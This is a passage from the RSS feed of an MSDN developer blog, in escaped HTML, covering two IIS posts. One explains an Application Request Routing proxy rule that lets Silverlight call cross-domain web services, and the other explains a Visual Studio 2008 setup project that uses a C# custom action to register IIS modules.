stopProcessing&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="true"&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;match&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; url&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="^stockquote.asmx$"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;action&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; type&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Rewrite"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; url&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="http://www.webservicex.net/stockquote.asmx"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;rule&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;rules&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;rewrite&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;system.webServer&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;configuration&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&lt;/FONT&gt; &lt;/DIV&gt;&lt;/OL&gt;
&lt;LI&gt;This rule basically uses regular expression to match the requests for StockQuote.asmx and forwards them to the real Web Service.&lt;/LI&gt;
&lt;LI&gt;Compile everything by running Build-&amp;gt;Rebuild Solution&lt;/LI&gt;
&lt;LI&gt;Back in your browser refresh the page to get the new, enter MSFT in the symbol and press Go!&lt;/LI&gt;
&lt;LI&gt;And Voila!!! everything works. &lt;/LI&gt;&lt;/OL&gt;
&lt;H2&gt;&lt;/H2&gt;
&lt;H2&gt;Summary&lt;/H2&gt;
&lt;P&gt;One of the features offered by ARR is to provide proxy functionality to forward requests to another server. One of the scenarios where this functionality is useful is when using it from clients that cannot make calls directly to the real data, this includes Silverlight, Flash and AJAX applications. As shown in this blog, by just using a few lines of XML configuration you can enable clients to call services in other domains without having to write hundreds of lines of code for each method. It also means that I get the original data and that if the WSDL were to change I do not need to update any wrappers. Additionally if using REST based services you could use local caching in your server relying on Output Cache and increase the performance of your applications significantly (again with no code changes).&lt;/P&gt;
&lt;H2&gt;Software used&lt;/H2&gt;
&lt;P&gt;Here is the software I installed to do this sample(amazing that all of it is completely free):&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;&lt;A href="http://www.microsoft.com/express/vwd/" target=_blank mce_href="http://www.microsoft.com/express/vwd/"&gt;Install Visual Web Developer 2008 Express&lt;/A&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;A href="http://www.microsoft.com/downloads/details.aspx?familyid=C22D6A7B-546F-4407-8EF6-D60C8EE221ED&amp;amp;displaylang=en" target=_blank mce_href="http://www.microsoft.com/downloads/details.aspx?familyid=C22D6A7B-546F-4407-8EF6-D60C8EE221ED&amp;amp;displaylang=en"&gt;Install Silverlight Tools for Visual Studio 2008 SP 1&lt;/A&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;A href="http://www.iis.net/ApplicationRequestRouting" target=_blank mce_href="http://www.iis.net/ApplicationRequestRouting"&gt;Install Application Request Routing for IIS 7&lt;/A&gt;. &lt;/LI&gt;&lt;/OL&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9087336" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/qGtDQjjLwEc" height="1" width="1"/&gt;</description><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx">IIS</category><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2008/11/15/CallingWebServicesFromSilverlightUsingIISandARR.aspx</feedburner:origLink></item><item><title>Creating a Setup Project for IIS Extensions using Visual Studio 2008</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/SsyBrGJBj5E/CreatingSetupProjectForIISusingVisualStudio2008.aspx</link><pubDate>Mon, 10 Nov 2008 23:00:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9059143</guid><dc:creator>CarlosAg</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/9059143.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=9059143</wfw:commentRss><description>&lt;h2&gt;Introduction&lt;/h2&gt;  &lt;p&gt;IIS 7 provides a rich extensibility model, whether extending the server or the user interface, one critical thing is provide a simple setup application that can install all the required files, add any registration information required, and modify the server settings as required by the extension.    &lt;br /&gt;Visual Studio 2008 provides a set of project types called Setup and Deployment projects specifically for this kind of applications. The output generated for these projects is an MSI that can perform several actions for you, including copying files, adding files to the GAC, adding registry keys, and many more.     &lt;br /&gt;In this document we will create a setup project to install a hypothetical runtime Server Module that also includes a User Interface extension for IIS Manager.     &lt;br /&gt;Our setup will basically perform the following actions:     &lt;br /&gt;&amp;#8226;&amp;#160;&amp;#160;&amp;#160; Copy the required files, including three DLL&amp;#8217;s and an html page.     &lt;br /&gt;&amp;#8226;&amp;#160;&amp;#160;&amp;#160; Add a couple of registry keys.     &lt;br /&gt;&amp;#8226;&amp;#160;&amp;#160;&amp;#160; Add the managed assemblies to the GAC     &lt;br /&gt;&amp;#8226;&amp;#160;&amp;#160;&amp;#160; Modify applicationHost.config to register a new module     &lt;br /&gt;&amp;#8226;&amp;#160;&amp;#160;&amp;#160; Modify administration.config to register a new UI extensibility for InetMgr     &lt;br /&gt;&amp;#8226;&amp;#160;&amp;#160;&amp;#160; Create a new sample application that exposes the html pages     &lt;br /&gt;&amp;#8226;&amp;#160;&amp;#160;&amp;#160; Finally, we will remove the changes from both configuration files during uninstall&lt;/p&gt;  &lt;h2&gt;Creating the Setup Project&lt;/h2&gt;  &lt;p&gt;Start Visual Studio 2008. In the File Menu, select the option New Project.    &lt;br /&gt;In the &lt;strong&gt;New Project Dialog&lt;/strong&gt;, expand the &lt;strong&gt;Other Project Types&lt;/strong&gt; option in the &lt;strong&gt;Project type&lt;/strong&gt; tree view.     &lt;br /&gt;Select the option Setup and Deployment type and select the option &lt;strong&gt;Setup Project&lt;/strong&gt;. Enter a name for the Project and a location. I will use SampleSetup as the name.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image.png" mce_href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image.png"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="165" alt="image" src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb.png" width="244" border="0" mce_src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb.png" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;h2&gt;Adding Files to the Setup&lt;/h2&gt;  &lt;ul&gt;   &lt;li&gt;Select the menu &lt;strong&gt;View-&amp;gt;Editor-&amp;gt;File System&lt;/strong&gt;. This will open the editor where you can add all the files that you need to deploy with your application. In this case I will just add an html file that I have created called readme.htm. &lt;/li&gt;    &lt;li&gt;To do that, right click the &lt;strong&gt;Application Folder &lt;/strong&gt;directory in the tree view and select the option &lt;strong&gt;Add File&lt;/strong&gt;. Browse to your files and select all the files you want to copy to the setup folder (by default &lt;strong&gt;&amp;lt;Program Files&amp;gt;\&amp;lt;Project Name&amp;gt;&lt;/strong&gt;. &lt;/li&gt; &lt;/ul&gt;  &lt;h2&gt;Adding assemblies to the GAC&lt;/h2&gt;  &lt;p&gt;Adding assemblies to the setup is done in the same &lt;strong&gt;File System &lt;/strong&gt;editor, however it includes a special folder called &lt;strong&gt;Global Assembly Cache &lt;/strong&gt;that represents the GAC in the target system.     &lt;br /&gt;In our sample we will add to the GAC the assemblies that have the runtime server module and the user interface modules for &lt;strong&gt;IIS Manager&lt;/strong&gt;. I have created the following set of projects:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;SampleModule.dll&lt;/strong&gt; that includes the runtime module on it. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;SampleModuleUI&lt;/strong&gt;.dll that contains the server-side portion of the IIS Manager extension (ModuleProvider, ModuleService, etc). &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;SampleModuleUIClient&lt;/strong&gt;.dll that contains the client side portion of the IIS Manager extension (Module, ModulePage, TaskLists, etc). &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;   &lt;br /&gt;Back in Visual Studio, &lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Select the menu option &lt;strong&gt;View-&amp;gt;Editor-&amp;gt;File System&lt;/strong&gt; &lt;/li&gt;    &lt;li&gt;Right-click the root node in the Tree view titled &lt;strong&gt;File System &lt;/strong&gt;on Target Machine and select the option &lt;strong&gt;Add Special Folder&lt;/strong&gt;.       &lt;br /&gt;Select the option &lt;strong&gt;Global Assembly Cache&lt;/strong&gt; Folder.       &lt;br /&gt;Right click the newly added GAC folder and choose the option &lt;strong&gt;Add File&lt;/strong&gt; and browse to the DLL and choose OK. Another option is using the Add Assembly and use the &amp;quot;Select Component&amp;quot; dialog to add it.       &lt;br /&gt;Visual Studio will recognize the dependencies that the assembly has, and will try to add them to the project automatically. However, &lt;strong&gt;certain assemblies such as Microsoft.Web.Administration&lt;/strong&gt;, or any other System assemblies &lt;strong&gt;should be excluded&lt;/strong&gt; because they will already be installed in the target machine. &lt;/li&gt;    &lt;li&gt;To ensure that you don't ship system assemblies, in the &lt;strong&gt;Solution Explorer &lt;/strong&gt;expand the &lt;strong&gt;Detected Dependencies &lt;/strong&gt;folder and right click each of the assemblies that shouldn't be packaged and select the option Exclude. (In our case we will exclude Microsoft.Web.Administration.dll, Microsoft.Web.Management.dll, Microsoft.ManagementConsole.dll and MMCFxCommon.dll)       &lt;br /&gt;After completing this, the project should look as follows: &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_3.png" mce_href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_3.png"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="185" alt="image" src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb_3.png" width="244" border="0" mce_src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb_3.png" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;h2&gt;Adding Registry Keys&lt;/h2&gt;  &lt;p&gt;Visual Studio also includes a &lt;strong&gt;Registry editor &lt;/strong&gt;that helps you adding any registry keys in the target machine. For this sample I will just add a registry key in HKEY_LOCAL_MACHINE\Software\My Company\Message. For that:     &lt;br /&gt;Select the menu option View-&amp;gt;Editor-&amp;gt;Registry.     &lt;br /&gt;Expand the HKEY_LOCAL_MACHINE node and drill down to Software\[Manufacturer].     &lt;br /&gt;&lt;strong&gt;[Manufacturer] &lt;/strong&gt;is a variable that holds the name of the company, and can be set by selecting the SampleSetup node in Solution Explorer and using the Property Grid to change it. There are several other variables defined such as Author, Description, ProductName, Title and Version that helps whenever dynamic text is required.     &lt;br /&gt;Right click [Manufacturer] and select the option new String Value. Enter Message as the name. To set the value you can select the item in the List View and use the Property Grid to set its value.     &lt;br /&gt;After completing this, the project should look as follows:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/clip_image002.jpg" mce_href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/clip_image002.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="152" alt="clip_image002" src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/clip_image002_thumb.jpg" width="244" border="0" mce_src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/clip_image002_thumb.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;h2&gt;Executing Custom Code&lt;/h2&gt;  &lt;p&gt;To support any custom code to be executed when running the setup application, Visual Studio (more explicitly MSI) supports the concept of Custom Actions. These Custom Actions include running an application, a script or executing code from a managed assembly.    &lt;br /&gt;For our sample, we will create a new project where we will add all the code&amp;#160; to read and change configuration.     &lt;br /&gt;Select the option File-&amp;gt;Add-&amp;gt;New Project.     &lt;br /&gt;Select the Class Library template and name it SetupHelper.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_4.png" mce_href="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_4.png"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="157" alt="image" src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb_4.png" width="244" border="0" mce_src="http://www.carlosag.net/images/CreatingaSetupProjectusingVisualStudio20_103DE/image_thumb_4.png" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Since we will be creating a custom action, we need to add a reference to &lt;strong&gt;System.Configuration.Install &lt;/strong&gt;to be able to create the custom action. Use the Project-&amp;gt;Add Reference. And in the .NET Tab select the &lt;strong&gt;System.Configuration.Install &lt;/strong&gt;and press OK. &lt;/li&gt;    &lt;li&gt;Since we will also be modifying server configuration (for registering the HTTP Module in ApplicationHost.config and the ModuleProvider in administration.config) using &lt;strong&gt;Microsoft.Web.Administration &lt;/strong&gt;we need to add a reference to it as well. Again use the Project-&amp;gt;Add Reference, and browse to &lt;strong&gt;&amp;lt;windows&amp;gt;\system32\inetsrv&lt;/strong&gt; and select &lt;strong&gt;Microsoft.Web.Administration.dll&lt;/strong&gt; &lt;/li&gt;    &lt;li&gt;Rename the file &lt;strong&gt;Class1.cs&lt;/strong&gt; file to be named SetupAction.cs and make the class name SetupAction. This class needs to inherit from &lt;strong&gt;System.Configuration.Install.Installer&lt;/strong&gt; which is the base class for all custom actions and it has several methods that you can override to add custom logic to the setup process. In this case we will add our code in the Install and the Uninstall method. &lt;/li&gt; &lt;/ul&gt;  &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;System&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;System.ComponentModel&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;System.&lt;/font&gt;&lt;font color="#2b91af"&gt;Configuration&lt;/font&gt;&lt;font color="#000000"&gt;.Install&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;namespace&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;SetupHelper&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;[RunInstaller(&lt;/font&gt;&lt;font color="#0000ff"&gt;true&lt;/font&gt;&lt;font color="#000000"&gt;)]&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;public&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;class&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;SetupAction&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;:&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Installer&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;public&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;override&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Install(System.Collections.&lt;/font&gt;&lt;font color="#2b91af"&gt;IDictionary&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;stateSaver)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;base&lt;/font&gt;&lt;font color="#000000"&gt;.Install(stateSaver)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;InstallUtil.AddUIModuleProvider(&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;quot;SampleUIModule&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;quot;SampleUIModule.SampleModuleProvider, SampleUIModule, Version=1.0.0.0, Culture=neutral, PublicKeyToken=12606126ca8290d1&amp;quot;       &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;// Add a Server Module to applicationHost.config      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;InstallUtil.AddModule(&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;quot;SampleModule&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;quot;SampleModule.SampleModule, SampleModule, Version=1.0.0.0, Culture=neutral, PublicKeyToken=12606126ca8290d1&amp;quot;       &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;// Create a web application      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;InstallUtil.CreateApplication(&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;quot;Default Web Site&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;quot;/SampleApp&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;Context.Parameters[&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;TargetDir&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;]&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;public&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;override&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Uninstall(System.Collections.&lt;/font&gt;&lt;font color="#2b91af"&gt;IDictionary&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;savedState)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;base&lt;/font&gt;&lt;font color="#000000"&gt;.Uninstall(savedState)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;InstallUtil.RemoveUIModuleProvider(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;SampleUIModule&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;InstallUtil.RemoveModule(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;SampleModule&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;InstallUtil.RemoveApplication(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Default Web Site&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;/SampleApp&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; 